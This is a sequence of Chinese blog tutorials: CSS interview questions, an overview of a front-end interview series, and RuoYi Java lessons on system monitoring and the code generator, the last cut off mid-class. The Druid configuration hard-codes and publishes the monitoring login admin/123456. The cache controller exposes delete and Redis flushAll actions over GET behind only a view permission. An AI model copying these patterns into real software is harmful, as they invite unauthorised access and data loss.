  src="medium.jpg" 
  alt="responsive"
>

<!-- picture -->
<picture>
  <source media="(min-width: 800px)" srcset="large.jpg">
  <source media="(min-width: 400px)" srcset="medium.jpg">
  <img src="small.jpg" alt="responsive">
</picture>

Q14: rem、em、px、vw/vh 的区别？⭐

答：

单位	说明	示例
`px`	固定像素	`width: 100px`
`em`	相对于当前元素字体大小	父元素 16px，1em = 16px
`rem`	相对于根元素字体大小	html 16px，1rem = 16px
`vw`	视口宽度的 1%	100vw = 视口宽度
`vh`	视口高度的 1%	100vh = 视口高度

/* rem 适配方案 */
html {
  font-size: 16px; /* 默认 */
}

@media (max-width: 768px) {
  html { font-size: 14px; }
}

.title { font-size: 1.5rem; } /* 24px 或 21px */

/* flexible.js 动态设置 */
document.documentElement.style.fontSize = 
  document.documentElement.clientWidth / 10 + 'px';

CSS 进阶

Q15: CSS3 有哪些新特性？⭐

答：

/* 1. 圆角 */
border-radius: 10px;
border-radius: 50%; /* 圆形 */

/* 2. 阴影 */
box-shadow: 0 4px 6px rgba(0,0,0,0.1);
text-shadow: 2px 2px 4px #ccc;

/* 3. 渐变 */
background: linear-gradient(to right, #ff6b6b, #4ecdc4);
background: radial-gradient(circle, #fff, #000);

/* 4. 变换 */
transform: translate(50px, 50px);
transform: rotate(45deg);
transform: scale(1.5);
transform: skew(10deg, 10deg);

/* 5. 过渡 */
transition: all 0.3s ease-in-out;
transition: width 0.3s, height 0.3s;

/* 6. 动画 */
@keyframes slide {
  from { transform: translateX(0); }
  to { transform: translateX(100px); }
}
animation: slide 2s infinite alternate;

/* 7. 弹性布局 */
display: flex;
display: grid;

/* 8. 滤镜 */
filter: blur(5px);
filter: grayscale(100%);

/* 9. 多列布局 */
columns: 3;
column-gap: 20px;

/* 10. 变量 */
:root { --primary: #3498db; }
.btn { color: var(--primary); }

Q16: transition 和 animation 的区别？⭐⭐

答：

特性	transition	animation
触发方式	需要事件触发	自动播放
关键帧	只有开始和结束	可定义多个关键帧
循环	不支持	支持 `infinite`
控制	简单	丰富（暂停、延迟、方向）

/* transition：需要状态变化触发 */
.btn {
  background: blue;
  transition: background 0.3s ease;
}
.btn:hover {
  background: red;
}

/* animation：自动播放 */
.loading {
  animation: spin 1s linear infinite;
}

@keyframes spin {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

/* animation 属性 */
animation: name duration timing-function delay iteration-count direction fill-mode;
animation: slide 2s ease-in-out 0.5s infinite alternate forwards;

Q17: 什么是重绘和回流？如何优化？⭐⭐ 🔥

答：

概念	说明	触发条件
回流 (Reflow)	重新计算元素位置和大小	修改尺寸、位置、内容
重绘 (Repaint)	重新绘制元素外观	修改颜色、背景、阴影

回流一定导致重绘，重绘不一定导致回流。

// ❌ 触发多次回流
element.style.width = '100px';  // 回流
element.style.height = '100px'; // 回流
element.style.margin = '10px';  // 回流

// ✅ 批量修改
element.style.cssText = 'width: 100px; height: 100px; margin: 10px;';
// 或
element.className = 'new-class';

// ❌ 读取布局信息会强制回流
const width = element.offsetWidth; // 可能触发回流
element.style.width = width + 10 + 'px';

// ✅ 使用 DocumentFragment
const fragment = document.createDocumentFragment();
for (let i = 0; i < 100; i++) {
  const div = document.createElement('div');
  fragment.appendChild(div);
}
document.body.appendChild(fragment); // 一次回流

// ✅ 离线修改
element.style.display = 'none';
// ... 多次修改
element.style.display = 'block';

// ✅ 使用 transform 代替 top/left
// 触发合成层，不回流
element.style.transform = 'translateX(100px)';

优化总结：

批量修改样式
避免频繁读取布局属性
使用 transform 和 opacity 做动画
使用 will-change 提升为合成层
DOM 操作使用 DocumentFragment
复杂动画使用 position: absolute 脱离文档流

复习卡片

知识点	关键词
盒模型	`content-box` vs `border-box`
BFC	独立渲染区域，清除浮动，避免 margin 合并
选择器优先级	`!important` > 内联 > ID > 类 > 标签
Flex 布局	`justify-content` `align-items` `flex: 1`
Grid 布局	二维布局，`grid-template-columns`
居中方案	Flex `place-items: center` 最简洁
响应式	媒体查询 + 弹性布局 + 视口单位
重绘回流	`transform` 动画不回流，批量修改

[!TIP] 下一篇：JavaScript 核心面试题

涵盖原型链、闭包、this 指向、作用域、ES6+ 等核心知识点。

前端面试宝典总览：6 年中高级工程师面试知识地图

Tue, 15 Sep 2026 02:00:00 GMT

[!NOTE] 本系列专为 6 年左右中高级前端开发工程师 打造，覆盖面试高频知识点，每篇 20+ 道面试题配详细解析。

面试知识地图

前端面试知识体系
├── 基础三剑客
│   ├── HTML & CSS（布局、选择器、响应式、动画）
│   ├── JavaScript 核心（原型链、闭包、this、ES6+）
│   └── JS 异步编程（事件循环、Promise、async/await）
├── 框架与跨端
│   ├── Vue（响应式原理、生命周期、组件通信、Vuex/Pinia）
│   ├── React（Fiber、Hooks、虚拟DOM、状态管理）
│   └── 跨端开发（uniapp、React Native、原理与差异）
├── 工程化与网络
│   ├── 构建工具（Webpack、Vite、Tree Shaking、HMR）
│   ├── 网络与 HTTP（TCP/IP、HTTP/2、缓存、跨域、安全）
│   ├── 工程化实践（Monorepo、微前端、组件库、CI/CD）
│   └── 实时通信（WebSocket、SSE、WebRTC、协同编辑）
├── 后端知识
│   ├── Nginx（反向代理、负载均衡、配置优化）
│   ├── MySQL（索引、事务、SQL 优化、锁机制）
│   ├── 后端基础（RESTful、Node.js、Java 基础）
│   └── Node.js 专篇（事件循环、Stream、进程线程、框架、部署）
├── 进阶必修
│   ├── TypeScript（泛型、条件类型、infer、类型体操）
│   ├── 性能优化（LCP/INP/CLS、白屏、内存泄漏）
│   ├── 手写代码（防抖节流、深拷贝、Promise、并发控制）
│   └── 系统设计（大文件上传、权限、监控、低代码）
├── 综合面试
│   └── 软素质与 HR 面（项目介绍、STAR、职业规划、薪资）
└── 深水区实战（资深扩展）
    ├── 核心能力问答（双栈选型、图形渲染、Hybrid、AI 研发 24 问）
    └── 深水区实战（配置驱动、2D×3D、硬件链路、离线包、AI 协作流）

文章索引

基础三剑客

序号	文章	核心考点
01	HTML & CSS 面试题	语义化、盒模型、BFC、Flex/Grid、响应式
02	JavaScript 核心面试题	原型链、闭包、this、作用域、ES6+
03	JS 异步与事件循环	Event Loop、Promise、async/await、宏微任务

框架与跨端

序号	文章	核心考点
04	Vue 框架面试题	响应式原理、虚拟DOM、Diff算法、生命周期
05	React 框架面试题	Fiber、Hooks、JSX、状态管理、性能优化
06	跨端框架面试题	uniapp、RN、Flutter、跨端原理

工程化与网络

序号	文章	核心考点
07	前端构建工具面试题	Webpack、Vite、Babel、Tree Shaking
08	网络与 HTTP 面试题	TCP/IP、HTTP/2、HTTPS、缓存、跨域
15	前端工程化实践	Monorepo、微前端、组件库、npm 发包、CI/CD
16	实时通信面试题	WebSocket、SSE、WebRTC、协同编辑、弹幕

后端知识

序号	文章	核心考点
09	Nginx 面试题	反向代理、负载均衡、配置优化
10	MySQL 面试题	索引、事务、SQL优化、锁机制
11	后端知识面试题	RESTful、Node.js、Java基础、微服务
19	Node.js 面试题专篇	事件循环、Stream、进程线程、Express/Koa/NestJS、部署

进阶必修

序号	文章	核心考点
12	TypeScript 进阶面试题	泛型、条件类型、infer、映射类型、协变逆变
13	性能优化面试题	LCP/INP/CLS、白屏优化、虚拟列表、内存泄漏
14	手写代码题专篇	防抖节流、深拷贝、Promise.all、并发控制、发布订阅
17	前端系统设计场景题	大文件上传、权限系统、监控、低代码、JSBridge

综合面试

序号	文章	核心考点
18	软素质与 HR 面	自我介绍、STAR、离职原因、职业规划、薪资谈判

深水区实战（资深扩展）

序号	文章	核心考点
20	资深前端核心能力问答	双栈选型、Next.js SSR、Konva/Three.js、Hybrid N-API、工程化性能、AI 研发 24 问
21	前端深水区实战	配置驱动渲染、2D×3D 协同、Hybrid 硬件链路、离线包热更新、AI 协作流

面试准备策略

时间分配建议

阶段	时间	内容
基础复习	1-2 周	HTML/CSS/JS 核心知识
框架深入	1-2 周	Vue 或 React 原理（根据岗位选择）
工程化	3-5 天	构建工具、性能优化
后端知识	3-5 天	Nginx、MySQL 基础
项目复盘	1 周	准备项目经验、难点亮点
模拟面试	2-3 天	刷题、模拟真实面试场景

高频考点 TOP 10

🔥 闭包：什么是闭包？应用场景？内存泄漏问题？
🔥 原型链：__proto__ 和 prototype 的区别？
🔥 事件循环：宏任务、微任务的执行顺序？
🔥 Vue 响应式：Object.defineProperty vs Proxy？
🔥 React Fiber：为什么需要 Fiber？时间切片原理？
🔥 虚拟 DOM：虚拟 DOM 一定比直接操作 DOM 快吗？
🔥 跨域解决方案：CORS、JSONP、代理的区别？
🔥 性能优化：首屏加载优化、代码分割、懒加载？
🔥 Webpack vs Vite：为什么 Vite 快？冷启动原理？
🔥 HTTP 缓存：强缓存、协商缓存的区别？

面试回答技巧

STAR 法则回答项目经验：
S (Situation) - 项目背景
T (Task) - 你的任务
A (Action) - 你做了什么
R (Result) - 取得了什么成果

技术问题回答框架：
1. 是什么（定义）
2. 为什么（原理）
3. 怎么用（实践）
4. 注意什么（最佳实践/坑）

复习卡片

知识领域	重要程度	建议时间
JavaScript 核心	⭐⭐⭐⭐⭐	2-3 天
Vue/React 框架	⭐⭐⭐⭐⭐	2-3 天
CSS 布局	⭐⭐⭐⭐	1 天
网络与 HTTP	⭐⭐⭐⭐	1 天
构建工具	⭐⭐⭐	1 天
跨端开发	⭐⭐⭐	0.5 天
Nginx	⭐⭐	0.5 天
MySQL	⭐⭐	0.5 天
后端基础	⭐⭐	0.5 天
TypeScript	⭐⭐⭐⭐	1-2 天
性能优化	⭐⭐⭐⭐⭐	1-2 天
手写代码	⭐⭐⭐⭐⭐	2-3 天（需动手敲）
工程化实践	⭐⭐⭐⭐	1-2 天
实时通信	⭐⭐⭐	0.5-1 天
系统设计	⭐⭐⭐⭐⭐	2-3 天（重点）
软素质 HR 面	⭐⭐⭐⭐⭐	1 天（需演练）
Node.js	⭐⭐⭐⭐	2-3 天（全栈方向重点）
资深核心能力问答	⭐⭐⭐⭐	1-2 天（查漏补缺）
深水区实战	⭐⭐⭐⭐	1-2 天（架构思路）

[!TIP] 建议按顺序阅读，先打牢基础再看框架和工程化。已经熟悉的部分可以直接跳到对应文章当作速查表使用。

[!IMPORTANT] 面试不仅仅是技术

沟通能力：清晰表达思路，不懂就问

项目经验：准备 2-3 个有亮点的项目

学习能力：展示学习新技术的方法

团队协作：举例说明如何处理分歧

RuoYi 阶段十二：系统监控

Mon, 07 Sep 2026 14:00:00 GMT

[!NOTE] 本文是 RuoYi 学习路线的阶段十二，聚焦系统监控。学完本篇你应该能：

理解服务器监控的实现方式

掌握缓存监控和在线用户管理

完成 RuoYi 全部学习路线！

前端视角：系统监控像什么？

RuoYi 系统监控	前端类比
服务监控	性能面板 (Performance)
缓存监控	应用存储 (Application Storage)
在线用户	活跃会话管理
数据监控	网络请求监控 (Network)
JVM 监控	浏览器内存使用

系统监控模块

RuoYi 提供四个监控功能：

模块	功能
在线用户	查看当前在线用户，可强退
定时任务	查看任务执行情况
数据监控	Druid 连接池监控
服务监控	CPU、内存、JVM、服务器信息
缓存监控	Redis 缓存信息

服务监控

控制器

// src/main/java/com/ruoyi/web/controller/monitor/ServerController.java
package com.ruoyi.web.controller.monitor;

import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.framework.web.domain.Server;

/**
 * 服务器监控
 * 
 * @author ruoyi
 */
@Controller
@RequestMapping("/monitor/server")
public class ServerController extends BaseController {
    private String prefix = "monitor/server";

    @RequiresPermissions("monitor:server:view")
    @GetMapping()
    public String server(ModelMap mmap) {
        Server server = new Server();
        server.copyTo();
        mmap.put("server", server);
        return prefix + "/server";
    }
}

服务器信息实体

// src/main/java/com/ruoyi/framework/web/domain/Server.java
package com.ruoyi.framework.web.domain;

import java.net.UnknownHostException;
import java.util.LinkedList;
import java.util.List;
import java.util.Properties;
import com.ruoyi.common.utils.Arith;
import com.ruoyi.common.utils.IpUtils;
import com.ruoyi.framework.web.domain.server.*;

/**
 * 服务器相关信息
 * 
 * @author ruoyi
 */
public class Server {
    private static final int OSHI_WAIT_SECOND = 1000;

    /**
     * CPU相关信息
     */
    private Cpu cpu = new Cpu();

    /**
     * 内存相关信息
     */
    private Mem mem = new Mem();

    /**
     * JVM相关信息
     */
    private Jvm jvm = new Jvm();

    /**
     * 服务器相关信息
     */
    private Sys sys = new Sys();

    /**
     * 磁盘相关信息
     */
    private List<SysFile> sysFiles = new LinkedList<SysFile>();

    public Cpu getCpu() {
        return cpu;
    }

    public void setCpu(Cpu cpu) {
        this.cpu = cpu;
    }

    public Mem getMem() {
        return mem;
    }

    public void setMem(Mem mem) {
        this.mem = mem;
    }

    public Jvm getJvm() {
        return jvm;
    }

    public void setJvm(Jvm jvm) {
        this.jvm = jvm;
    }

    public Sys getSys() {
        return sys;
    }

    public void setSys(Sys sys) {
        this.sys = sys;
    }

    public List<SysFile> getSysFiles() {
        return sysFiles;
    }

    public void setSysFiles(List<SysFile> sysFiles) {
        this.sysFiles = sysFiles;
    }

    /**
     * 复制服务器信息
     */
    public void copyTo() {
        try {
            // CPU信息
            Cpu cpu = getCpu();
            CentralProcessor processor = SystemInfo.getInstance().getHardware().getProcessor();
            long[] prevTicks = processor.getSystemCpuLoadTicks();
            Thread.sleep(OSHI_WAIT_SECOND);
            long[] ticks = processor.getSystemCpuLoadTicks();
            long nice = ticks[TickType.NICE.getIndex()] - prevTicks[TickType.NICE.getIndex()];
            long irq = ticks[TickType.IRQ.getIndex()] - prevTicks[TickType.IRQ.getIndex()];
            long softirq = ticks[TickType.SOFTIRQ.getIndex()] - prevTicks[TickType.SOFTIRQ.getIndex()];
            long steal = ticks[TickType.STEAL.getIndex()] - prevTicks[TickType.STEAL.getIndex()];
            long cSys = ticks[TickType.SYSTEM.getIndex()] - prevTicks[TickType.SYSTEM.getIndex()];
            long user = ticks[TickType.USER.getIndex()] - prevTicks[TickType.USER.getIndex()];
            long iowait = ticks[TickType.IOWAIT.getIndex()] - prevTicks[TickType.IOWAIT.getIndex()];
            long idle = ticks[TickType.IDLE.getIndex()] - prevTicks[TickType.IDLE.getIndex()];
            long totalCpu = user + nice + cSys + idle + iowait + irq + softirq + steal;
            cpu.setCpuNum(processor.getLogicalProcessorCount());
            cpu.setTotal(totalCpu);
            cpu.setSys(cSys);
            cpu.setUsed(user);
            cpu.setWait(iowait);
            cpu.setFree(idle);

            // 内存信息
            Mem mem = getMem();
            GlobalMemory memory = SystemInfo.getInstance().getHardware().getMemory();
            long totalByte = memory.getTotal();
            long availableByte = memory.getAvailable();
            long usedByte = totalByte - availableByte;
            mem.setTotal(totalByte);
            mem.setUsed(usedByte);
            mem.setFree(availableByte);
            mem.setUsage(Arith.mul(Arith.div(usedByte, totalByte, 4), 100));

            // JVM信息
            Jvm jvm = getJvm();
            Properties props = System.getProperties();
            jvm.setTotal(Runtime.getRuntime().totalMemory());
            jvm.setMax(Runtime.getRuntime().maxMemory());
            jvm.setFree(Runtime.getRuntime().freeMemory());
            jvm.setVersion(props.getProperty("java.version"));
            jvm.setHome(props.getProperty("java.home"));
            jvm.setStartTime(DateUtils.parseDateToStr(DateUtils.YYYY_MM_DD_HH_MM_SS, 
                    Date.from(Instant.ofEpochMilli(ManagementFactory.getRuntimeMXBean().getStartTime()))));
            jvm.setRunTime(DateUtils.getDatePoor(DateUtils.getNowDate(), jvm.getStartTime()));
            jvm.setInputArgs(ManagementFactory.getRuntimeMXBean().getInputArguments());

            // 服务器信息
            Sys sys = getSys();
            InetAddress addr = InetAddress.getLocalHost();
            sys.setComputerName(addr.getHostName());
            sys.setComputerIp(IpUtils.getHostIp());
            sys.setOsName(props.getProperty("os.name"));
            sys.setOsArch(props.getProperty("os.arch"));
            sys.setUserDir(props.getProperty("user.dir"));

            // 磁盘信息
            List<SysFile> sysFiles = getSysFiles();
            FileSystem fileSystem = SystemInfo.getInstance().getOperatingSystem().getFileSystem();
            for (OSFileStore fs : fileSystem.getFileStores()) {
                SysFile sysFile = new SysFile();
                sysFile.setDirName(fs.getMount());
                sysFile.setSysTypeName(fs.getType());
                sysFile.setTypeName(fs.getName());
                sysFile.setTotal(fs.getTotalSpace());
                sysFile.setFree(fs.getUsableSpace());
                sysFile.setUsed(fs.getTotalSpace() - fs.getUsableSpace());
                sysFile.setUsage(Arith.mul(Arith.div(sysFile.getUsed(), sysFile.getTotal(), 4), 100));
                sysFiles.add(sysFile);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

CPU 信息实体

// src/main/java/com/ruoyi/framework/web/domain/server/Cpu.java
package com.ruoyi.framework.web.domain.server;

import com.ruoyi.common.utils.Arith;

/**
 * CPU相关信息
 * 
 * @author ruoyi
 */
public class Cpu {
    /**
     * 核心数
     */
    private int cpuNum;

    /**
     * CPU总的使用率
     */
    private double total;

    /**
     * CPU系统使用率
     */
    private double sys;

    /**
     * CPU用户使用率
     */
    private double used;

    /**
     * CPU当前等待率
     */
    private double wait;

    /**
     * CPU当前空闲率
     */
    private double free;

    public int getCpuNum() {
        return cpuNum;
    }

    public void setCpuNum(int cpuNum) {
        this.cpuNum = cpuNum;
    }

    public double getTotal() {
        return Arith.round(Arith.mul(total, 100), 2);
    }

    public void setTotal(long total) {
        this.total = total;
    }

    public double getSys() {
        return Arith.div(Arith.mul(sys, 100), total, 2);
    }

    public void setSys(double sys) {
        this.sys = sys;
    }

    public double getUsed() {
        return Arith.div(Arith.mul(used, 100), total, 2);
    }

    public void setUsed(double used) {
        this.used = used;
    }

    public double getWait() {
        return Arith.div(Arith.mul(wait, 100), total, 2);
    }

    public void setWait(double wait) {
        this.wait = wait;
    }

    public double getFree() {
        return Arith.div(Arith.mul(free, 100), total, 2);
    }

    public void setFree(double free) {
        this.free = free;
    }
}

缓存监控

控制器

// src/main/java/com/ruoyi/web/controller/monitor/CacheController.java
package com.ruoyi.web.controller.monitor;

import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.redis.core.RedisCallback;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.redis.RedisCache;

import java.util.*;

/**
 * 缓存监控
 * 
 * @author ruoyi
 */
@Controller
@RequestMapping("/monitor/cache")
public class CacheController extends BaseController {
    @Autowired
    private RedisTemplate<String, String> redisTemplate;

    private final static List<CacheInfo> caches = new ArrayList<CacheInfo>();
    {
        caches.add(new CacheInfo(Constants.LOGIN_TOKEN_KEY, "用户信息"));
        caches.add(new CacheInfo(Constants.SYS_DICT_KEY, "配置信息"));
        caches.add(new CacheInfo(Constants.CAPTCHA_CODE_KEY, "验证码"));
        caches.add(new CacheInfo(Constants.REPEAT_SUBMIT_KEY, "防重提交"));
        caches.add(new CacheInfo(Constants.RATE_LIMIT_KEY, "限流处理"));
        caches.add(new CacheInfo(Constants.PWD_ERR_CNT_KEY, "密码错误次数"));
    }

    @RequiresPermissions("monitor:cache:view")
    @GetMapping()
    public String cache(ModelMap mmap) {
        mmap.put("caches", caches);
        return "monitor/cache/cache";
    }

    @RequiresPermissions("monitor:cache:view")
    @GetMapping("/getNames")
    public String getCacheNames(ModelMap mmap) {
        mmap.put("caches", caches);
        return "monitor/cache/cache :: cacheNames";
    }

    @RequiresPermissions("monitor:cache:view")
    @GetMapping("/getKeys/{cacheName}")
    public String getCacheKeys(@PathVariable String cacheName, ModelMap mmap) {
        List<String> cacheKeys = redisTemplate.keys(cacheName + "*");
        mmap.put("cacheKeys", cacheKeys);
        mmap.put("cacheName", cacheName);
        return "monitor/cache/cache :: cacheKeys";
    }

    @RequiresPermissions("monitor:cache:view")
    @GetMapping("/getValue/{cacheName}/{cacheKey}")
    public String getCacheValue(@PathVariable String cacheName, @PathVariable String cacheKey, ModelMap mmap) {
        String cacheValue = redisTemplate.opsForValue().get(cacheKey);
        CacheInfo cacheInfo = new CacheInfo();
        cacheInfo.setCacheName(cacheName);
        cacheInfo.setCacheKey(cacheKey);
        cacheInfo.setCacheValue(cacheValue);
        mmap.put("cache", cacheInfo);
        return "monitor/cache/cache :: cacheValue";
    }

    @RequiresPermissions("monitor:cache:view")
    @GetMapping("/clearCacheName/{cacheName}")
    public String clearCacheName(@PathVariable String cacheName, ModelMap mmap) {
        redisTemplate.delete(redisTemplate.keys(cacheName + "*"));
        return "monitor/cache/cache :: cacheNames";
    }

    @RequiresPermissions("monitor:cache:view")
    @GetMapping("/clearCacheKey/{cacheKey}")
    public String clearCacheKey(@PathVariable String cacheKey, ModelMap mmap) {
        redisTemplate.delete(cacheKey);
        return "monitor/cache/cache :: cacheKeys";
    }

    @RequiresPermissions("monitor:cache:view")
    @GetMapping("/clearCacheAll")
    public String clearCacheAll(ModelMap mmap) {
        redisTemplate.execute((RedisCallback<Boolean>) connection -> {
            connection.flushAll();
            return true;
        });
        return "monitor/cache/cache :: cacheNames";
    }

    static class CacheInfo {
        private String cacheName;
        private String cacheKey;
        private String cacheValue;
        private String remark;

        public CacheInfo() {}

        public CacheInfo(String cacheName, String remark) {
            this.cacheName = cacheName;
            this.remark = remark;
        }

        // Getter 和 Setter 省略...
    }
}

在线用户管理

控制器

// src/main/java/com/ruoyi/web/controller/monitor/OnlineController.java
package com.ruoyi.web.controller.monitor;

import java.util.List;
import org.apache.shiro.session.Session;
import org.apache.shiro.session.mgt.eis.SessionDAO;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.*;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.utils.ShiroUtils;
import com.ruoyi.framework.shiro.session.OnlineSession;
import com.ruoyi.system.domain.SysUserOnline;
import com.ruoyi.system.service.ISysUserOnlineService;

/**
 * 在线用户监控
 * 
 * @author ruoyi
 */
@Controller
@RequestMapping("/monitor/online")
public class OnlineController extends BaseController {
    private String prefix = "monitor/online";

    @Autowired
    private ISysUserOnlineService userOnlineService;

    @Autowired
    private SessionDAO sessionDAO;

    @RequiresPermissions("monitor:online:view")
    @GetMapping()
    public String online() {
        return prefix + "/online";
    }

    @RequiresPermissions("monitor:online:list")
    @PostMapping("/list")
    @ResponseBody
    public TableDataInfo list(SysUserOnline userOnline) {
        startPage();
        List<SysUserOnline> list = userOnlineService.selectUserOnlineList(userOnline);
        return getDataTable(list);
    }

    @RequiresPermissions("monitor:online:batchForceLogout")
    @PostMapping("/batchForceLogout")
    @ResponseBody
    public AjaxResult batchForceLogout(@RequestParam("ids[]") String[] ids) {
        for (String sessionId : ids) {
            try {
                Session session = sessionDAO.readSession(sessionId);
                if (session != null) {
                    session.setTimeout(1000);
                    userOnlineService.deleteById(sessionId);
                }
            } catch (Exception e) {
                // 忽略异常
            }
        }
        return success();
    }

    @RequiresPermissions("monitor:online:forceLogout")
    @PostMapping("/forceLogout")
    @ResponseBody
    public AjaxResult forceLogout(String sessionId) {
        try {
            Session session = sessionDAO.readSession(sessionId);
            if (session != null) {
                session.setTimeout(1000);
                userOnlineService.deleteById(sessionId);
            }
        } catch (Exception e) {
            // 忽略异常
        }
        return success();
    }
}

数据监控 (Druid)

RuoYi 集成了 Druid 数据源监控：

配置

// src/main/java/com/ruoyi/framework/config/DruidConfig.java
package com.ruoyi.framework.config;

import java.util.HashMap;
import java.util.Map;
import javax.sql.DataSource;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import com.alibaba.druid.pool.DruidDataSource;
import com.alibaba.druid.support.http.StatViewServlet;
import com.alibaba.druid.support.http.WebStatFilter;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.boot.web.servlet.ServletRegistrationBean;

/**
 * druid 配置多数据源
 * 
 * @author ruoyi
 */
@Configuration
public class DruidConfig {
    @Bean
    @ConfigurationProperties("spring.datasource.druid.master")
    public DataSource masterDataSource() {
        DruidDataSource dataSource = new DruidDataSource();
        return dataSource;
    }

    @Bean
    @ConfigurationProperties("spring.datasource.druid.slave")
    public DataSource slaveDataSource() {
        DruidDataSource dataSource = new DruidDataSource();
        return dataSource;
    }

    /**
     * Druid 监控页面
     */
    @Bean
    public ServletRegistrationBean<StatViewServlet> statViewServlet() {
        ServletRegistrationBean<StatViewServlet> bean = new ServletRegistrationBean<>(
                new StatViewServlet(), "/druid/*");
        // 配置监控页面访问登录名和密码
        Map<String, String> initParams = new HashMap<>();
        initParams.put("loginUsername", "admin");
        initParams.put("loginPassword", "123456");
        // 是否允许删除数据
        initParams.put("resetEnable", "false");
        bean.setInitParameters(initParams);
        return bean;
    }

    /**
     * Druid Web 监控过滤器
     */
    @Bean
    public FilterRegistrationBean<WebStatFilter> webStatFilter() {
        FilterRegistrationBean<WebStatFilter> bean = new FilterRegistrationBean<>(new WebStatFilter());
        Map<String, String> initParams = new HashMap<>();
        initParams.put("exclusions", "*.js,*.gif,*.jpg,*.png,*.css,*.ico,/druid/*");
        bean.setInitParameters(initParams);
        bean.addUrlPatterns("/*");
        return bean;
    }
}

访问地址

http://localhost/druid
用户名: admin
密码: 123456

复习卡片

// 系统监控核心流程
// 1. 服务器信息获取
Server server = new Server();
server.copyTo();  // 获取 CPU、内存、JVM、磁盘信息

// 2. 缓存监控
List<String> cacheKeys = redisTemplate.keys(cacheName + "*");
String cacheValue = redisTemplate.opsForValue().get(cacheKey);

// 3. 在线用户
List<SysUserOnline> list = userOnlineService.selectUserOnlineList(userOnline);
Session session = sessionDAO.readSession(sessionId);

// 4. Druid 监控
// 访问 /druid 查看 SQL 执行情况

类名	职责
`Server`	服务器信息实体
`Cpu`	CPU 信息
`Mem`	内存信息
`Jvm`	JVM 信息
`Sys`	系统信息
`SysFile`	磁盘信息
`CacheController`	缓存监控控制器
`OnlineController`	在线用户控制器

监控项	说明
CPU	使用率、核心数、等待率
内存	总量、已用、可用
JVM	版本、内存、运行时间
磁盘	各分区使用情况
缓存	Redis 键值对管理
在线用户	会话管理、强制退出
数据监控	SQL 执行统计

[!IMPORTANT] 恭喜完成 RuoYi 学习路线！

通过这 12 个阶段的学习，你已经掌握了：

Spring Boot 项目搭建与配置

MyBatis 数据库操作

Shiro 权限框架

RBAC 权限模型

用户、角色、菜单管理

部门、岗位组织架构

字典、参数系统配置

AOP 日志管理

Quartz 定时任务

代码生成器

系统监控

建议接下来：

动手实践：基于 RuoYi 开发一个自己的项目

深入源码：阅读更多 RuoYi 源码细节

学习扩展：了解 RuoYi-Vue（前后端分离版本）

[!TIP] 返回：RuoYi 学习路线总览

RuoYi 阶段十一：代码生成器

Mon, 07 Sep 2026 13:00:00 GMT

[!NOTE] 本文是 RuoYi 学习路线的阶段十一，聚焦代码生成器。学完本篇你应该能：

理解代码生成器的工作原理

掌握 Velocity 模板引擎的使用

知道如何自定义代码模板

前端视角：代码生成器像什么？

RuoYi 代码生成器	前端类比
Velocity 模板	Handlebars / EJS 模板引擎
表结构解析	Schema 解析
代码生成	脚手架工具 (create-react-app)
模板配置	代码片段 (Snippets)
批量生成	代码模板批量应用

代码生成器架构

┌─────────────────┐
│   数据库表      │
└────────┬────────┘
         │ 解析
         ▼
┌─────────────────┐
│   GenTable      │
│   GenTableColumn│
└────────┬────────┘
         │ 配置
         ▼
┌─────────────────┐
│  Velocity 模板  │
│  (vm 文件)      │
└────────┬────────┘
         │ 渲染
         ▼
┌─────────────────┐
│  生成的代码     │
│  Domain/Mapper/ │
│  Service/Controller│
└─────────────────┘

生成表实体类

// src/main/java/com/ruoyi/generator/domain/GenTable.java
package com.ruoyi.generator.domain;

import java.util.List;
import javax.validation.Valid;
import javax.validation.constraints.NotBlank;
import org.apache.commons.lang3.ArrayUtils;
import com.ruoyi.common.constant.GenConstants;
import com.ruoyi.common.core.domain.BaseEntity;
import com.ruoyi.common.utils.StringUtils;

/**
 * 业务表 gen_table
 * 
 * @author ruoyi
 */
public class GenTable extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 编号 */
    private Long tableId;

    /** 表名称 */
    @NotBlank(message = "表名称不能为空")
    private String tableName;

    /** 表描述 */
    @NotBlank(message = "表描述不能为空")
    private String tableComment;

    /** 关联父表的表名 */
    private String subTableName;

    /** 本表与关联父表的外键名 */
    private String subTableFkName;

    /** 实体类名称(首字母大写) */
    @NotBlank(message = "实体类名称不能为空")
    private String className;

    /** 使用的模板（crud单表操作 tree树表操作 sub主子表操作） */
    private String tplCategory;

    /** 生成包路径 */
    @NotBlank(message = "生成包路径不能为空")
    private String packageName;

    /** 生成模块名 */
    @NotBlank(message = "生成模块名不能为空")
    private String moduleName;

    /** 生成业务名 */
    @NotBlank(message = "生成业务名不能为空")
    private String businessName;

    /** 生成功能名 */
    @NotBlank(message = "生成功能名不能为空")
    private String functionName;

    /** 生成作者 */
    @NotBlank(message = "作者不能为空")
    private String functionAuthor;

    /** 生成代码方式（0zip压缩包 1自定义路径） */
    private String genType;

    /** 生成路径（不填默认项目路径） */
    private String genPath;

    /** 主键信息 */
    private GenTableColumn pkColumn;

    /** 子表信息 */
    private GenTable subTable;

    /** 表列信息 */
    @Valid
    private List<GenTableColumn> columns;

    /** 其它生成选项 */
    private String options;

    /** 树编码字段 */
    private String treeCode;

